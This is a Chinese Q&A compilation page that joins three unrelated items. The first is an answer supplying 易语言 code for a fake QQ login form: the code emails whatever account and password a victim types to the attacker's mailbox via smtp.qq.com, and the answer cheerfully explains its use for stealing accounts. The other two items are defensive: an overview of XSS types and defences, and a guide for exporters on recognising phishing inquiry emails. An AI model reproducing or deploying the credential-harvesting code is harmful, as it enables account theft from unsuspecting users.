本文目录一览：
求易语言钓鱼代码，QQ邮箱的那种，求大神编写，以893936450这个号码为例子就行啦。感激
特别简单的哦~
这需要你的QQ号和密码
我现在帮你把代码复制下来，你回去，打开易语言，然后创建两个编辑框和1个按钮就OK~
代码如下：
.版本 2
.支持库 internet
连接发信服务器 (“smtp.qq.com”, 4, “您的QQ邮箱的账号”, “您的QQ邮箱的密码”, )
发送邮件 (“傻瓜送号来啦~~~”, “账号：” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码：” ＋ 编辑框2.内容, “您的QQ邮箱账号”, , , “您的QQ邮箱账号”, )
您只要把上面的QQ邮箱、密码改成您自己的，就可以钓鱼盗号啦~~
参考资料：自己
XSS攻击的定义，类型以及防御方法？
XXS攻击全称跨站脚本攻击，是一种在Web应用中的计算机安全漏洞，它允许恶意Web用户将代码植入到提供给其他使用的页面中。
XSS攻击有哪几种类型?下面就由锐速云的小编为大家介绍一下
经常见到XSS攻击有三种：反射XSS攻击、DOM-based型XSS攻击以及储存型XSS攻击。
[if !supportLists]1、[endif]反射型XSS攻击
反射性XSS一般是攻击者通过特定手法(如电子邮件)，诱使用户去访问一个包含恶意代码的URL，当受害者点击这些专门设计链接的时候，恶意代码会直接在受害主机上的浏览器上执行，反射型XSS通常出现在网站搜索栏，用户登入口等地方，常用来窃取客户端或进行钓鱼欺骗。
[if !supportLists]2、[endif]存储型XSS攻击
存储型XSS攻击也叫持久型XSS，主要将XSS代码提交储存在服务器端(数据库，内存，文件系统等)下次请求目标页面时不用在提交XSS代码。当目标用户访问该页面获取数据时，XSS代码会从服务器解析之后加载出来，返回到浏览器做正常的HTML和JS解析执行，XSS攻击就发生了。储存型XSS一般出现在网站留言，评论，博客日志等交互处，恶意脚本储存到客户端或者服务端的数据库中。
[if !supportLists]3、[endif]DOM-based型XSS攻击
DOM-based型XSS攻击它是基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构，是纯粹发生在客户端的攻击。DOM型XSS攻击中，取出和执行恶意代码由浏览器端完成，属于前端JavaScript自身的安全漏洞。
如何防御XSS攻击?
[if !supportLists]1、[endif]对输入内容的特定字符进行编码，列如表示html标记等符号。
[if !supportLists]2、[endif]对重要的cookie设置httpOnly，防止客户端通过document。cookie读取cookie，此HTTP开头由服务端设置。
[if !supportLists]3、[endif]将不可信的输出URT参数之前，进行URLEncode操作，而对于从URL参数中获取值一定要进行格式检查
[if !supportLists]4、[endif]不要使用Eval来解析并运行不确定的数据或代码，对于JSON解析请使用JSON。Parse()方法
[if !supportLists]5、[endif]后端接口也应该要做到关键字符过滤的问题。
如何识别钓鱼邮件？
对方发来一封询盘邮件，但是要求发在wetransfer链接里，要不要打开呢？
关于钓鱼询盘，很多外贸小伙伴们不寒而栗，虽然出现了很多年，但是他们的行骗手段花样百出，紧跟时代潮流；最可恶的是他们还会使用国外避税账户，本人又在第三国，一旦汇入账户，钱就会被迅速转移，想要追回货款，受制于多个国家的法律法规和国际法，也是追讨无门。
1.0版本钓鱼询盘
特征一：既不提产品信息，也不提价格，直接说要采购商品
特征二：邮件的附件类型是excel，word格式的PO或者是php、exe后缀的可执行文件，提示你点开，点开之后就会跳转出来提示框，要求输入自己的邮箱账号和密码。
2.0版本钓鱼询盘
特征一：使用企业邮箱域名发出，带有简单网站。邮件里明确提出他需要的产品、规格等要求；
特征二：像1.0版本那样，带附件PO或者询价单要求你点开，提示你输入自己邮箱账号和密码。
大家要注意，在国外很多邮箱都会提供免费的企业邮箱服务，域名也十分便宜，伪造成本很低。
3.0版本钓鱼询盘
特征一：之前联系过的老客户邮箱发来的询盘
特征二：附件提示要求输入邮箱密码并且注册老用户的询盘系统来获取询价明细
这种钓鱼询盘一般80%以上都会被骗，因为老客户的邮箱密码被盗了；并且在国外，一般大企业都会采用供应商管理系统或者要求供应商在线注册，所以企业的账号和密码很容易泄露，而且还有老用户的邮件背书。
这种骗子一般会进入你的邮箱慢慢观察你和客户之前的沟通往来邮件，然后骗子会注册一个跟你公司名和邮箱相似度99%以上的邮箱，一旦发现你和买家的邮件中涉及大笔金额交易，直接通过假邮箱给客户发邮件，要求客户把货款打入指定的账号。
02
钓鱼询盘辨别方法
虽然钓鱼询盘花样百出，实际上，只要做到如下几点，骗子想要得逞也不容易。
1、询盘标题
如果一个询盘的标题一看就是跟我们产品不相关或者直接就是广告信息，那么直接删除邮件即可。
2、询盘结尾
如果询盘标题判断不出是否是钓鱼询盘，可以查看结尾收留下完整的署名、公司名称
公司地址和联系方式等。很大一部分的钓鱼询盘最后的结尾都没有完整的公司信息，看到这样的询盘，如果无法判断可以根据询盘内容处理。我们也可以利用Google搜索引擎查询具体的公司信息，判断询盘的真实性。
3、询盘内容
如果询盘的标题和结尾都看不出来，可以根据询盘内容进行查看：
① 邮件中是否有具体的产品采购信息，如产品名称、型号、技术参数、预定数量等；
② 询盘中是否提到产品认证：一般询问产品是否获得某个行业认证，很有可能是走超市体系；
③ 是否提及交货时间和付款方式。一般询盘中出现这个内容，基本属于要下单用户。
④ 是否发送附件。如果第一次询盘用户发送附件，建议小心对待，看是否可以在下载，或者点击之后有无对话框，需要输入邮箱和密码。
4、询盘IP发送时间
一般通过查看ip地址，辅助查看询盘的发送时间，基本上就可以判断这封邮件来自那噶区域，根据客户描述的国家、地址以及发送时间来判断询盘的真伪。一般客户也不会在他们的非工作时间给我们发邮件，更加不会公司地址和ip地址不符合。
公司ip查询网站：
5、客户交流辨别
以上询盘辨别方案，可以针对钓鱼询盘1.0和2.0，那么遇上3.0就需要一下的辨别方案了。
① 在和客户谈判过程中，尤其是即将下单时，发现沟通不及时或者短暂失联的情况，一定要立即给客户打电话或者换一个邮箱联系，防止骗子以自己的名义进行诈骗。
② 给新老用户提醒，如果遇到以公司名义要求更改付款账户或者输入邮箱、密码的情况，一定要及时电话联系。这样不仅是对双方负责，也增加了客户对自身的信任度。
③ 不要在跳转链接、不明网站输入自己的邮箱、密码、银行账户信息。如果怀疑有问题，立马修改密码，并且换个方式通知买家。
供应商们一定要更加小心谨慎，多看多了解，多于买家沟通，避免成为钓鱼询盘中招者。